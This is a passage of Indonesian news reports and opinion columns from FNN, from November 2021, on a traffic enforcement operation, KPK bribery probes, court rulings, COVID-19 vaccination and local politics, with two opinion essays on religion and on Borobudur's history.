Palembang, FNN - Kepolisian Daerah Sumatera Selatan menggelar Operasi Zebra Musi selama dua pekan sejak 15 -28 November 2021 untuk menegakkan disiplin masyarakat dalam berlalu lintas dan protokol kesehatan antisipasi penyebaran COVID-19. Kabid Humas Polda Sumsel Kombes Pol.Supriadi di Palembang, Rabu, mengatakan untuk melakukan operasi tersebut, pihaknya menyiapkan ribuan personel di seluruh jajaran 17 kabupaten/kota didukung sarana prasarana pendukung lainnya, sehingga operasi tersebut diharapkan dapat berjalan optimal dan berhasil sesuai dengan tujuan serta sasaran yang telah ditetapkan. Melalui Operasi Zebra Musi 2021 ini diharapkan dapat meningkatkan kesadaran, kepatuhan dan disiplin masyarakat dalam berlalu lintas demi terwujudnya keamanan, keselamatan, ketertiban, dan kelancaran lalu lintas (kamseltibcarlantas) yang kondusif di tengah pandemi COVID-19. Operasi saat ini berbeda dengan operasi tahun-tahun sebelumnya karena beberapa faktor, seperti merebaknya wabah COVID-19, sehingga petugas juga berupaya menegakkan disiplin protokol kesehatan bagi pengendara kendaraan bermotor. Dalam melaksanakan tindakan represif harus selektif prioritas dengan mengutamakan penindakan terhadap pelanggaran, seperti pengendara sepeda motor yang tidak menggunakan helm, pengemudi mobil tidak memakai sabuk pengaman (safety belt), menggunakan gawai saat berkendara, mengendarai kendaraan melawan arus, dan kendaraan yang menggunakan knalpot mengeluarkan suara membisingkan (racing) atau mengganggu kenyamanan masyarakat. Sedangkan bagi petugas di lapangan diminta untuk melaksanakan tugas operasi dengan penuh rasa tanggung jawab, mengedepankan sikap senyum sapa dalam melaksanakan penindakan pelanggaran lalu lintas, baik yang bersifat teguran maupun penilangan. Selanjutnya, menjaga keselamatan, tingkatkan kewaspadaan terhadap pihak-pihak yang berniat melakukan berbuat negatif terhadap Polri, serta memegang teguh protokol kesehatan dengan selalu menggunakan masker, mencuci tangan dan menjaga jarak fisik (phsycal distancing) antisipasi penularan COVID-19. Melalui kegiatan tersebut diharapkan dapat menurunkan titik lokasi kemacetan, pelanggaran, kecelakaan lalu lintas serta meningkatkan kepatuhan masyarakat terhadap protokol kesehatan berkaitan dengan masih mewabahnya COVID-19, ujar Kombes Supriadi. (sws)

KPK Dalami Penyerahan Uang ke Bupati Kuansing Urus Izin HGU Sawit

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mendalami dugaan adanya penyerahan uang kepada tersangka Bupati Kuantan Singingi (Kuansing) nonaktif Andi Putra (AP) terkait dengan pengurusan perpanjangan izin hak guna usaha (HGU) sawit. KPK memeriksa Frank Wijaya alias Frank Widjaja dari pihak swasta, di Gedung KPK Jakarta, Selasa (16/11), sebagai saksi untuk tersangka Andi Putra dalam penyidikan kasus dugaan suap perpanjangan izin HGU sawit di Kabupaten Kuansing, Riau. "Yang bersangkutan hadir dan didalami pengetahuannya antara lain terkait dengan pengurusan perpanjangan HGU oleh PT AA (Adimulia Agrolestari) yang diduga ada penyerahan sejumlah uang pada tersangka AP agar mendapatkan persetujuan HGU dimaksud," ujar Pelaksana Tugas Juru Bicara KPK Ipi Maryati Kuding dalam keterangannya, di Jakarta, Rabu. Selain Andi Putra, KPK juga telah menetapkan General Manager PT Adimulia Agrolestari Sudarso (SDR) sebagai tersangka. Dalam konstruksi perkara, KPK menjelaskan untuk keberlangsungan kegiatan usaha dari PT Adimulia Agrolestari yang sedang mengajukan perpanjangan HGU yang dimulai pada 2019 dan akan berakhir pada 2024, salah satu persyaratan untuk kembali memperpanjang HGU adalah dengan membangun kebun kemitraan minimal 20 persen dari HGU yang diajukan. Adapun lokasi kebun kemitraan 20 persen milik PT Adimulia Agrolestari yang dipersyaratkan tersebut terletak di Kabupaten Kampar, Riau, dimana seharusnya berada di Kabupaten Kuansing. Agar persyaratan tersebut dapat terpenuhi, Sudarso kemudian mengajukan surat permohonan kepada Andi Putra dan meminta kebun kemitraan PT Adimulia Agrolestari di Kampar disetujui menjadi kebun kemitraan. Selanjutnya, Sudarso dan Andi Putra bertemu. Andi Putra menyampaikan bahwa kebiasaan dalam mengurus surat persetujuan dan pernyataan tidak keberatan atas 20 persen Kredit Koperasi Prima Anggota (KKPA) untuk perpanjangan HGU yang seharusnya dibangun di Kabupaten Kuansing dibutuhkan minimal uang Rp2 miliar. Sebagai tanda kesepakatan, pada September 2021 diduga telah dilakukan pemberian pertama oleh Sudarso kepada Andi Putra uang sebesar Rp500 juta. Selanjutnya pada Oktober 2021, Sudarso diduga kembali menyerahkan uang sekitar Rp200 juta kepada Andi Putra. Atas perbuatannya, Sudarso selaku pemberi disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001. Sedangkan Andi Putra disangkakan melanggar Pasal 12 huruf (a) atau Pasal 12 huruf (b) atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001. (sws)

Pemkab Kediri Ubah Sistem Pembayaran Menjadi Nontunai

Kediri, FNN - Pemerintah Kabupaten Kediri, Jawa Timur, membuat kebijakan dengan digitalisasi untuk sistem pembayaran menjadi nontunai sebagai upaya pencegahan tindak pidana korupsi serta mengurangi risiko kontak langsung, mengingat saat ini masih pandemi COVID-19. "Transaksi di atas Rp1 juta diwajibkan nontunai, tidak boleh tunai," kata Bupati Kediri Hanindhito Himawan Pramana di Kediri, Rabu. Pihaknya menegaskan kebijakan itu diambil sebagai upaya pencegahan tindak pidana korupsi. Ia juga sudah mengeluarkan Peraturan Bupati (Perbup) Kediri Nomor 23 Tahun 2021 sebagai payung hukum aturan tersebut. Selain itu, peraturan tersebut dibuat itu dibuat untuk mewujudkan tertib administrasi pengelolaan kas, mencegah peredaran uang palsu dan menekan laju inflasi lebih mudah dan cepat. Dengan sistem nontunai jumlah peredaran uang kertas dapat dikurangi. "Sistem ini juga mencegah transaksi ilegal. Karena dengan TNT ini digital transaksi terlihat, sehingga potensi penyelewengan anggaran bisa diminimalisir," ujar dia. Dalam pelaksanaan program tersebut, pihaknya sudah meminta Inspektorat, Dinas Pendapatan dan Pengelolaan Keuangan dan Aset Daerah (DPPKAD), Dinas Pemberdayaan Masyarakat dan Pemerintahan Desa (DPMPD) Kabupaten Kediri untuk sosialisasi. "Jangan sampai terjadi uang yang sudah ditransfer ditarik dan dikembalikan lagi secara cash (tunai). Kita terus berbenah, jangan sampai ini percuma dan sia-sia," ujar dia. Sebelumnya, Pemkab Kediri juga sudah memutuskan memanfaatkan layanan pembayaran nontunai untuk transaksi pajak daerah sehingga mempercepat layanan dan mengurangi risiko kontak langsung, mengingat saat ini masih pandemi COVID-19. Kebijakan tersebut juga tindak lanjut dari Tim Percepatan dan Perluasan Digitalisasi Daerah (TP2DD) Kabupaten Kediri yang telah dibentuk sebelumnya. Selain itu, kebijakan ini juga meminimalisir risiko kontak langsung mengingat saat ini masih pandemi COVID-19. Kepala Perwakilan Bank Indonesia Kediri Sofwan Kurnia mengapresiasi langkah Pemkab Kediri yang memanfaatkan digitalisasi dalam transaksi pajak daerah. Sebelumnya, transaksi digital dilakukan di pasar tradisional, termasuk di area Kampung Inggris, Kabupaten Kediri. "Kabupaten Kediri sangat progresif. Ada peresmian digitalisasi pajak daerah dan pembayaran tiket nontunai ini menunjukkan bahwa potensinya akan tergali lebih besar lagi, volume akan kelihatan," kata Sofwan. (sws)

Wapres: Ulama Aceh Wajib Dorong Vaksinasi COVID-19

Jakarta, FNN - Wakil Presiden Ma’ruf Amin meminta seluruh ulama di Aceh memiliki tanggung jawab untuk mengajak masyarakat melaksanakan vaksinasi COVID-19 sebagai upaya pemerintah dalam penanggulangan pandemi. "Menjadi kewajiban dari para ulama, terutama Majelis Permusyawaratan Ulama (MPU) Aceh dan pesantren-pesantren supaya masyarakat mau, supaya masyarakat berbondong-bondong untuk divaksinasi," kata Wapres Ma’ruf dalam keterangan yang diterima di Jakarta, Rabu. Wapres mengatakan keberhasilan penanganan pandemi COVID-19 di Indonesia hanya dapat terwujud dengan kerja sama dari berbagai pihak, termasuk para ulama dan pesantren. Penanggulangan pandemi COVID-19 di Indonesia, lanjut Wapres, tidak hanya menjadi masalah kesehatan, melainkan juga masalah agama. Dalam agama Islam terdapat ajaran untuk menjaga diri sendiri dan orang lain dari wabah penyakit. "Sudah sering saya katakan bahwa penanggulangan COVID-19 bukan semata-mata masalah kesehatan, tapi masalah agama; arena penanggulangan COVID-19 itu dalam rangka menjaga jiwa jangan sampai jadi korban," jelasnya. Imbauan Wapres kepada para ulama tersebut antara lain bertujuan untuk meningkatkan capaian vaksinasi COVID-19 di Aceh, karena provinsi tersebut termasuk rendah dalam vaksinasi. "Pemerintah pusat itu ingin mempercepat proses vaksinasi, khususnya daerah-daerah yang tingkat vaksinasinya masih rendah, ada tujuh provinsi yang salah satunya Aceh," katanya. Capaian vaksinasi COVID-19 di Aceh, sebut Wapres, baru mencapai 38 persen untuk dosis pertama dan 18 persen untuk dosis kedua. Oleh karena itu, salah satu strategi mempercepat vaksinasi COVID-19 di Aceh tersebut ialah menggandeng para ulama dan tokoh agama. "Kami juga terus mendorong untuk dilakukan sosialisasi kepada masyarakat, salah satunya melibatkan para ulama, pesantren. Vaksinasi adalah bagian dari upaya menjaga diri dari penularan wabah," ujar Wapres. (sws)

Max Sopacua Wafat

Jakarta, FNN - Eks petinggi Partai Demokrat Max Sopacua wafat di RSPAD Gatot Subroto, Jakarta, Rabu, dan jenazah almarhum akan disemayamkan di kediamannya di Bogor, Jawa Barat, kata salah satu koleganya dan juga salah satu inisiator KLB Demokrat, Darmizal. “Saya mendengar kabar (Max Sopacua wafat) tadi pagi menjelang subuh dari keluarga dan teman-teman,” kata Darmizal,saat dihubungi di Jakarta, Rabu. Darmizal lanjut menyampaikan ia akan ikut melayat ke rumah duka dan memberi penghormatan terakhir untuk Max Sopacua. “Dari RSPAD sudah prepare (siap-siap) berangkat ke kepatihan, di kediaman, rumah duka di Bogor,” sebut Darmizal. Dalam kesempatan yang sama, Darmizal turut mengenang sosok Zulkifli bin Adam alias Max Sopacua, yang juga bergabung sebagai inisiator pertemuan di Deli Serdang, Sumatera Utara. “Beliau itu sangat concern dengan perjuangan kepembelaan Partai Demokrat sesuai dengan visi misi awalnya sehingga kemudian (dia) bergabung jadi inisiator KLB di Deli Serdang,” kata Darmizal. Oleh karena itu, ia dan kolega lainnya di KLB menilai sosok Max sebagai pahlawan, karena dedikasinya terhadap partai. “Bagi kami, Max adalah seorang hero, seorang pahlawan. Dia punya integritas, kemudian sangat humanis, humoris,” kata Darmizal. Ia menambahkan Max merupakan sosok yang giat berjejaring dan selalu aktif terlibat dalam perjuangan partai. “Dia sangat gigih berjuang mengumpulkan teman-teman, menyapa sebanyak mungkin teman di awal peristiwa berdirinya Partai Demokrat. Beliau penghubung yang sangat interaktif, partisipatif, dan mudah berkolaborasi,” ujar Darmizal. Tidak hanya itu, dia juga mengenang sosok Max sebagai salah satu pihak yang turut berperan pada awal berdirinya Demokrat. “Dia mencari warna contoh, warna dasar Partai Demokrat, mencari bahan untuk warna dasar Partai Demokrat. Itu yang paling berkesan bagi kami,” sebut Darmizal. Oleh karena itu, ia dan kolega lain di KLB berduka dan kehilangan atas wafatnya Max. “Sangat berduka, kami sangat kehilangan,” sebut Darmizal. Max Sopacua merupakan salah satu tokoh senior Partai Demokrat, yang pernah menjabat posisi Wakil Ketua Umum. Namun, Max kemudian menjadi penggerak KLB di Deli Serdang pada Maret 2021 dan sempat beberapa kali hadir di Pengadilan Negeri Jakarta Pusat untuk mengikuti sidang-sidang sengketa antara kelompok KLB dan DPP Partai Demokrat. (sws)

Pengamat Apresiasi Seruan Menko PMK Gerakan Nasional Revolusi Mental

Jakarta, FNN - Pengamat Politik dari Universitas Pasundan Nunung Sanusi mengapresiasi seruan Gerakan Nasional Revolusi Mental (GNRM) yang digaungkan Menteri Koordinator Bidang Pembangunan Manusia dan Kebudayaan (Menko PMK) Muhadjir Effendy di Papua. "Dalam visi kebangsaan yang hendak melakukan percepatan, revolusi mental merupakan sebuah gagasan yang besar. Apalagi, ke depan kita akan menyongsong perubahan global," kata Nusa dalam keterangan tertulis, di Jakarta, Rabu. Menurut dia, GNRM yang digaungkan selama ini membawa banyak dampak positif bagi bangsa, terutama di kalangan generasi muda. Menurut dia, gagasan revolusi mental secara historis juga sempat digelorakan oleh bapak bangsa kita, Presiden Soekarno sekitar tahun 1957. Salah satu wujud revolusi mental yang dibangun adalah dengan mengajak generasi muda untuk turut serta dalam peningkatan kesejahteraan masyarakat. Nusa menegaskan, ajakan untuk melibatkan mahasiswa dalam peningkatan kesejahteraan masyarakat di Papua merupakan wujud integritas sekaligus gotong royong generasi muda di sana dalam membangun tanah kelahirannya. "Sebagai Menteri sekaligus akademisi, Pak Muhadjir pasti memiliki gagasan besar untuk memajukan bangsa dengan memiliki kesadaran diri sebagai bangsa yang kuat dan besar. Hal ini, tak terlepas dari sosok beliau sebagai seorang pengajar," ujar Nusa. Selain itu, semangat revolusi mental juga perlu didukung oleh seluruh komponen. Dalam implementasinya, yaitu menggerakkan infrastruktur politik hingga tingkat rukun tetangga (RT). "Terbukti, dukungan tersebut terwujud dalam bentuk gotong royong masyarakat saat pandemi COVID-19 beberapa waktu lalu," ujarnya. Nusa menjelaskan Indikator keberhasilan dari revolusi mental bisa dilihat dari pandemi COVID-19 sekarang. Masyarakat mampu menampakkan mental yang kuat, tangguh, bahkan tumbuh solidaritas, gotong royong, saling membantu sama lain di tengah berbagai himpitan dan tekanan dari COVID-19. Dirinya berharap, ke depan gerakan revolusi mental mampu mengubah pemikiran masyarakat secara kolektif. Dari mental yang terbiasa menerima apa adanya, menjadi mental progresif, inovatif dan kreatif. Sebelumnya, Menko PMK Muhadjir Effendy mengatakan, peran perguruan tinggi merupakan yang paling vital untuk mendukung beragam program kebijakan yang telah dicanangkan pemerintah. "Jadi saya harap agar para mahasiswa di perguruan tinggi dengan keilmuannya dapat diterapkan langsung kepada masyarakat," ujar Muhadjir. (sws)

Mempermainkan Agama

By M Rizal Fadillah Ini potret Abu Janda yang seenaknya "njeplak" soal agama dan ketuhanan. Dibawa ke ruang main-main, menampilkan sosok yang lemah dalam beragama dan orang menjadi bertanya Abu Janda itu agamanya apa ? Plintat-pliintut. Adalah setelah menikah dengan Wynona Riesa secara Islam, Abu Janda melakukan upacara Melukat di Bali. Menurut Abu Janda "Melukat di Pasiraman Sebatu tempat bersemayam Dewi Gangga Om Swastiyastu, Rahajeng Siang, Dumogi Rahayu, Om Tangga Dewi". Upacara ritual mandi membersihkan diri ini disebarkan fotonya. Abu Janda berfilsafsat tentang ketuhanan. "Tuhan itu SATU cara memanggilnya saja beda-beda. Yang percaya beda agama beda Tuhan itu cuma kadrun". Jika ini yang menjadi pandangan Abu Janda tentang Tuhan dan agama, maka bisa dimaklumi kontroversi bahkan kegilaan pikiran dalam memojokkan agamanya. Dengan ritual Hindu itu banyak yang bertanya kok muslim melakukan ritual Hindu ? Sebenarnya tak perlu aneh, mungkin jika ia melakukan ritual berputar putar mengelilingi api pun sah sah saja, toh menurut Abu Janda cuma beda panggilan Tuhan saja. Untuk ini panggilan Tuhannya adalah "An Naar". Mengenaskan bagi seorang muslim, tetapi bagi muslim abal-abal hal demikian menjadi biasa saja. Mempertontonkan kebodohan dalam beragama. Teringat Sukmawati yang juga saat masih beragama Islam gemar melakukan ritual Hindu dan ternyata di penghujung usianya ia berpindah menjadi Hindu. Mungkin itu lebih baik daripada menjadi muslim tetapi menistakan Islam. Abu Janda sering mengejek muslim, bahkan menistakan Islam. Berkudran kadrun adalah kegemarannya. Kini ia bangga dan menyengaja "bertoleransi" atau bahkan bermain-main dengan agama. Ia lupa urusan agama bukan semata relasi manusiawi. Ada keterkaitan Ilahi. Hidayah. Bukan hal mustahil di penghujung hayat Abu Janda juga menjadi kaum murtadin. Hidayah Allah tak terduga. Bermain-main dalam agama (istihzaa) merusak keimanan. Syekh Ali Fauzan dalam Syarah terhadap Kitab Thahawiyah menyatakan pembatalan keislaman itu banyak di antaranya juhud (pengingkaran), syirik, dan mempermainkan agama atau syi'ar-syi'ar agama meskipun tidak mengingkari. Karakter orang munafik memang sering mempermainkan agama. Soal ritual Melukat yang dijalani Abu Janda adalah hak dan lebih dari itupun haknya pula. Tetapi melecehkan orang yang membedakan agama dan ketuhanan adalah sebuah kejahilan. Nah Abu Janda, selamat berlibur, selamat beritual-ritual. Salamun 'ala manit taba'al huda. *) Pemerhati Politik dan Keagamaan

Menyoroti Borobudur (1)

Oleh Ridwan Saidi PERAN Semarang. Rang = zona econ, Samarang seperti halnya Amu-rang adalah zona econ. Kata lain zona econ banda pada Banda Aceh, Banda(r) Lampung, Banda(r) Sunda Kalapa, Banda Neira. Total zona econ 22, termasuk 4 di tapal kuda Jatim: Tuban, Gresik, Pasuruan Panarukan. Terbentuknya zona econ pada tingkat tertentu volume peredaran alat tukar, dan itu hampir serentak zona econ berdiri pada IX M. Sampai munculnya pada XI M mayor power system kerajaan, tak satu zona econ yang tertakluk pada mereka. Zona econ bikin perjanjian Internasional seperti Sunda Kalapa dengan Portugis dan Banda Neira dengan Inggris. Karajaan? Tak ada yang bikin perjanjian dengan pihak luar. Apalagi tetulis. Belanda tak mendekat pada zona econ. Merosotnya peran zona econ karena tergesernya peran Tumenggung atau Dato Bandaro oleh sistem perbankan modern pada XIX M. Bukan karena Belanda. Zona econ punya tentara reguler sendiri. Zona econ pusat peredaran uang. Melalui zona econ mengalir agama, peradaban, dan bahasa. Borobudur dibangun oleh zona econ Samarang untuk perayaan dan Prambanan mereka bangun untuk pertunjukan Seni. Samar orang Samarkand, Caucasia. Agama atau Kepercayaan mereka yang migrasi ke Andunisi (Indonesia) Islam, Katolik, monotheis, dan zion. Mendirikan bangunan seperti Borobudur dan Prambanan mesti dengan cost, fulus. Tak bisa cuma dengan jampe-jampe. *) Budayawan

Mensesneg Pratikno Respons Pengajuan Banding 57 Eks Pegawai KPK

Jakarta, FNN - Menteri Sekretaris Negara (Mensesneg) Pratikno merespons pengajuan banding administratif yang diajukan 57 mantan pegawai KPK kepada Presiden Joko Widodo. "Isi dari balasan surat Menteri Sekretaris Negara sudah konsisten dengan langkah pemerintah selama ini," kata Staf Khusus Mensesneg Faldo Maldini di Jakarta, Selasa. Sebelumnya perwakilan mantan pegawai KPK Hotman Tambunan pada 21 Oktober 2021 mengatakan pihaknya mengajukan banding administratif kepada Presiden Jokowi karena pimpinan KPK menolak keberatan yang telah disampaikan sebelumnya sehingga Presiden Jokowi sebagai atasan pimpinan KPK mempunyai kewenangan untuk menganulir keputusan perihal pemberhentian dengan hormat tersebut. "Surat ini merupakan sebuah penegasan dari sikap dan tindakan pemerintah selama ini. Jadi, bukan hal baru," tambah Faldo. Menurut Faldo, sebagai negara hukum, maka putusan hukum di Indonesia harus dijalankan dengan sebaik-baiknya. "Dalam putusan Mahkamah Agung (MA) dan Mahkamah Konstitusi (MK), tindak lanjut masalah pegawai KPK yang tidak lolos TWK adalah domain pemerintah, dalam hal ini Badan Kepegawaian Nasional (BKN) dan Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Kemenpan RB). Ini juga konsisten dengan sikap Presiden kepada Polri yang diizinkan merekrut eks pegawai KPK, maka Polri disebutkan dalam surat itu," ungkap Faldo. Faldo menyarankan agar para mantan pegawai KPK dapat berkoordinasi dengan lembaga-lembaga yang disebutkan dalam surat Mensesneg tersebut. "Silakan berkoordinasi dengan lembaga terkait untuk menyelesaikan permasalahan ini dalam koridor peraturan dan undang-undang, semua keputusan pemerintah sudah berlandaskan aturan yang berlaku. Kami kira itu sudah cukup jelas arahnya," ungkap Faldo. Dalam surat balasan tertantang 9 November 2021 tentang pengajuan banding administratif tersebut, Mensesneg Pratikno mengatakan agar pemohon banding "dapat berkoordinasi lebih lanjut dengan Kepolisian Negara RI, Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi serta Badan Kepegawaian Negara guna penyelesaian lebih lanjut sesuai dengan ketentuan peraturan perundang-undangan." Sementara dalam permohonan banding administratif yang diajukan ke Presiden Jokowi, para mantan pegawai KPK membawa kesimpulan empat lembaga negara yang memeriksa proses pelaksanaan alih status melalui asesmen TWK, yaitu Ombudsman RI dan Komnas HAM yang menemukan malaadministrasi dan pelanggaran HAM. Kemudian MK menyatakan proses alih status tidak boleh merugikan hak para pegawai KPK dan putusan MA yang menyerahkan nasib pegawai KPK tak lolos asesmen TWK ke pemerintah. Selain itu, mereka meminta Presiden Jokowi untuk memulihkan kembali hak dan nama baik 57 pegawai KPK yang dikategorikan tidak memenuhi syarat untuk diangkat menjadi ASN, serta mengambil alih proses pelaksanaan alih status 57 pegawai KPK dan menetapkan/mengangkat 57 pegawai menjadi ASN di KPK sesuai rekomendasi Ombudsman RI dan Komnas HAM.

Ketua MPR Tegaskan PPHN Perkuat Sistem Pemerintahan Presidensial

Jakarta, FNN - Ketua MPR RI Bambang Soesatyo menegaskan pembentukan Pokok-Pokok Haluan Negara (PPHN) melalui amendemen UUD 1945 dapat memperkuat sistem pemerintahan presidensial di Indonesia. “Hadirnya PPHN tidak dimaksudkan untuk memperlemah konsensus dalam penguatan sistem presidensial. Presiden sebagai pemegang kekuasaan pemerintahan sebagaimana diatur Undang-Undang Dasar Negara Republik Indonesia Tahun 1945 Pasal 4 ayat 1 tidak akan tergerus sedikit pun peran dan otoritas dengan hadirnya PPHN,” kata Bambang Soesatyo saat menjadi pembicara pada seminar virtual yang diikuti di Jakarta, Selasa. Oleh karena itu, ia menyampaikan PPHN jika nantinya terbentuk hanya akan mengatur prinsip-prinsip filosofis dari turunan pertama UUD 1945. PPHN juga akan disesuaikan dengan ciri khas sistem pemerintahan presidensial, tegas Bambang Soesatyo yang populer dengan nama Bamsoet. Ciri-ciri itu, di antaranya pemilihan presiden dan wakil presiden yang akan tetap dipilih langsung oleh rakyat, presiden dan wapres yang tidak dapat dijatuhkan karena alasan politik, dan presiden tetap punya hak prerogatif mengangkat dan memberhentikan menteri serta pejabat setingkat menteri. PPHN, katanya, tidak akan mengurangi ruang, kewenangan, dan kreativitas pemerintah menyusun cetak biru pembangunan. “Kehadiran PPHN justru memberikan payung hukum bagi presiden selaku pemegang kekuasaan pemerintahan dalam menyusun perencanaan pembangunan yang lebih teknokratis. Rencana strategis pemerintah yang bersifat visioner akan dijamin pelaksanaannya secara berkelanjutan, tidak terbatas oleh periodisasi pemerintahan yang bersifat elektoral,” jelas Bamsoet. Ia menyampaikan PPHN akan menjadi landasan untuk setiap rencana strategis pemerintah, antara lain pemindahan ibu kota negara dari Jakarta ke Kalimantan Timur, dan pembangunan Infrastruktur tol laut. “Kehadiran PPHN dapat membantu pemerintah mewujudkan keselarasan dan sinergi pembangunan antara pusat dan daerah. Koordinasi antara pusat dan daerah yang sering tidak selaras bisa diminimalisir,” kata Bamsoet. Keberadaan PPHN dapat pula menekan risiko pemborosan anggaran yang disebabkan adanya perbedaan orientasi dan prioritas pembangunan setiap ada pergantian pemerintahan, katanya. Dalam seminar bertajuk “PPHN Memperkuat Konsensus Sistem Presidensil”, pembicara selain Bamsoet, antara lain Menteri PPN/Kepala Bappenas Suharso Monoarfa, Anggota DPD RI Jimly Asshiddiqie, dan Pengamat Parlemen Sebastian Salang. (sws, ant)

MA Kembalikan Vonis Djoko Tjandra Jadi 4,5 Tahun Penjara

Jakarta, FNN - Majelis hakim kasasi Mahkamah Agung mengembalikan vonis Djoko Soegiarto Tjandra menjadi 4,5 tahun penjara dalam perkara pemberian suap kepada aparat penegak hukum dan pemufakatan jahat. "Tolak perbaikan kasasi terdakwa dan penuntut umum dengan perbaikan pidana menjadi pidana penjara menjadi 4,5 tahun penjara dan denda Rp100 juta subsider 6 bulan kurungan," demikian termuat dalam petikan putusan kasasi seperti yang disampaikan Juru Bicara MA, Andi Samsan Nganro di Jakarta, Selasa. Putusan kasasi tersebut diputus pada 15 November 2021 oleh majelis hakim kasasi yaitu Suhadi sebagai ketua majelis didampingi Ansory dan Suharto masing-masing selaku hakim anggota. Sebelumnya pada 5 April 2021, majelis hakim pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta yang berlokasi di Pengadilan Negeri Jakarta Pusat memutuskan pidana penjara 4,5 tahun terhadap Djoko Tjandra. Sedangkan pada 5 Juli 2021 Pengadilan Tinggi (PT) Jakarta memotong vonis Djoko Tjandra menjadi 3,5 tahun penjara ditambah denda Rp100 juta subsider 6 bulan kurungan. Majelis PT Jakarta menilai bahwa Djoko Tjandra telah menyerahkan dana sebesar Rp546,468 miliar ke negara yang tadinya berada di dalam Escrow Account atas rekening Bank Bali qq. PT. Era Giat Prima. Namun dalam pertimbangannya, majelis kasasi mengatakan meskipun berat ringan pidana adalah kewenangan "Judex Facti" (Pengadilan Tinggi) tetapi ketika "Judex Facti" mengambil putusan pidana dengan mengurangi pidana terhadap Djoko Tjandra, ternyata PT DKI Jakarta kurang dalam pertimbangannya (Onvoldoende gemotiveerd). "Mengapa Judex Facti PT mengurangi pidana penjara dari 4,5 tahun penjara menjadi 3,5 tahun, hal yang meringankan terdakwa karena terdakwa mengembalikan dana yang ada dalam enscrow account atas rekening Bank Bali qq PT Era Giat Prima milik terdakwa sebesar Rp546.468.544.738, padahal penyerahan itu melalui mekanisme eksekusi oleh jaksa Penuntut Umum ketika putusan telah berkekuatan hukum tetap, hal tersebut tidak ada korelasi dengan perbuatan suap yang dilakukan oleh terdakwa dalam perkara a quo," ungkap majelis kasasi. Majelis kasasi menilai perbuatan Djoko Tjandra adalah suap dengan tujuan untuk pengurusan fatwa MA melalui adik iparnya dan diteruskan kepada Pinangki Sirna Malasari selaku jaksa sebesar 500 ribu dolar AS dan untuk pengurusan pengecekan status dan penghapusan "red notice" dengan mengeluarkan dana suap kepada Napoleon Bonaparte sebesar 370 ribu dolar AS dan 200 ribu dolar Singapura serta kepada Prasetijo Utomo sebesar 100 ribu dolar AS. "Terlepas dari pidana yang dijatuhkan oleh 'Judex Facti' Pengadilan Tinggi, pertimbangan hukum tentang pembuktian unsur-unsur dakwaan Penuntut Umum oleh Judex Facti Pengadilan Negeri yang dikuatkan oleh Judex Facti Pengadilan Tinggi sudah tepat dan benar sesuai dengan fakta hukum yang relevan secara yuridis yang terungkap di muka persidangan dan telah pula dikonstantir dengan unsur-unsur pasal dakwaan Penuntut Umum," ungkap majelis kasasi. Sementara alasan kasasi Djoko Tjandra yang bersifat penghargaan hasil pembuktian tidak dapat melemahkan atau menghapus perbuatan pidana yang dilakukannya. "Berdasarkan fakta yang terungkap di persidangan terdakwa melakukan perbuatan suap, perbuatan a quo dilakukan dan telah selesai sebagai suatu delik tindak pidana di Indonesia, meskipun terdakwa berwarga negara Papua Nugini dan terakhir berada di Malaysia, kepadanya tetap dapat diterapkan dengan hukum yang berlaku di Indonesia," tutur majelis kasasi. (sws, ant)

Polda Aceh Periksa Belasan Saksi Terkait Pembakaran Rumah Wartawan

Banda Aceh, FNN - Penyidik Direktorat Reserse Kriminal Umum Polda Aceh memeriksa belasan saksi guna dimintai keterangan terkait kasus pembakaran rumah wartawan di Kabupaten Aceh Tenggara. Direktur Reserse Kriminal Umum Polda Aceh Kombes Pol Ade Harianto didampingi Kepala Bidang Humas Polda Aceh Kombes Pol Winardy di Banda Aceh, Selasa, mengatakan pembakaran rumah wartawan tersebut terjadi pada 30 Juli 2019. "Sebanyak 17 saksi sudah diperiksa penyidik Direktorat Reserse Kriminal Umum. Penyidik masih bekerja keras mengusut tuntas kasus tersebut," kata Kombes Pol Winardy. Sebelumnya, rumah Asnawi Luwi, wartawan surat kabar Harian Serambi Indonesia terbitan Banda Aceh yang bertugas di Kabupaten Aceh Tenggara diduga dibakar orang tidak dikenal (OTK). Kombes Pol Winardy mengatakan penyidik terus memeriksa saksi-sakti untuk mengungkap kasus kebakaran menghanguskan satu unit rumah wartawan beserta satu unit mobil miliknya. Perwira menengah Polri tersebut mengharapkan semua pihak menghargai dan menghormati proses hukum yang sedang dilakukan oleh kepolisian. Penyidik terus berupaya mengungkap siapa pelaku dan apa motif pembakaran rumah tersebut. "Penyidik melakukan pendalaman pemeriksaan kembali para saksi setelah kasus tersebut dilimpahkan dan ditangani Polda. Jadi, mohon bersabar," kata Kombes Pol Winardy. (sws, ant)

Pemerkosa Anak di Aceh Kabur Usai Divonis 200 Bulan Penjara oleh MA

Banda Aceh, FNN - Pemerkosa anak di Aceh Besar kabur usai divonis bersalah dengan hukuman 200 bulan penjara oleh Mahkamah Agung (MA) pada putusan kasasi, kini masuk dalam daftar pencarian orang (DPO) Kejari Aceh Besar. "Iya, betul, dia DPO setelah divonis 200 bulan penjara pada kasasi MA," kata Jaksa Penuntut Umum (JPU) Kejari Aceh Besar Shidqi Noer Salsa yang dihubungi dari Banda Aceh, Selasa. Berdasarkan postingan instagram Kajari Aceh Besar disebutkan bahwa DPO bernama DP (35) merupakan terpidana dalam perkara tindak pidana jarimah pemerkosaan sebagaimana dimaksud Pasal 47 jo Pasal 50 Qanun Aceh Nomor 6 tahun 204 tentang Hukum Jinayat. Shidqi mengatakan sejauh ini pihaknya belum mendapatkan informasi keberadaan terpidana tersebut di mana, karena itu dia meminta masyarakat yang melihatnya dapat segera memberitahukan ke kejaksaan. "Kita sudah lakukan semua upaya persuasif (bertemu keluarga), namun sejauh ini juga belum jelas keberadaan dia, kita terus mencarinya," ujar Shidqi. Sebelumnya, terdakwa paman korban berinisial DP tersebut divonis bersalah oleh majelis hakim Mahkamah Syari'ah Jantho dengan hukuman 200 bulan penjara atau 16 tahun delapan bulan. Namun, di tingkat 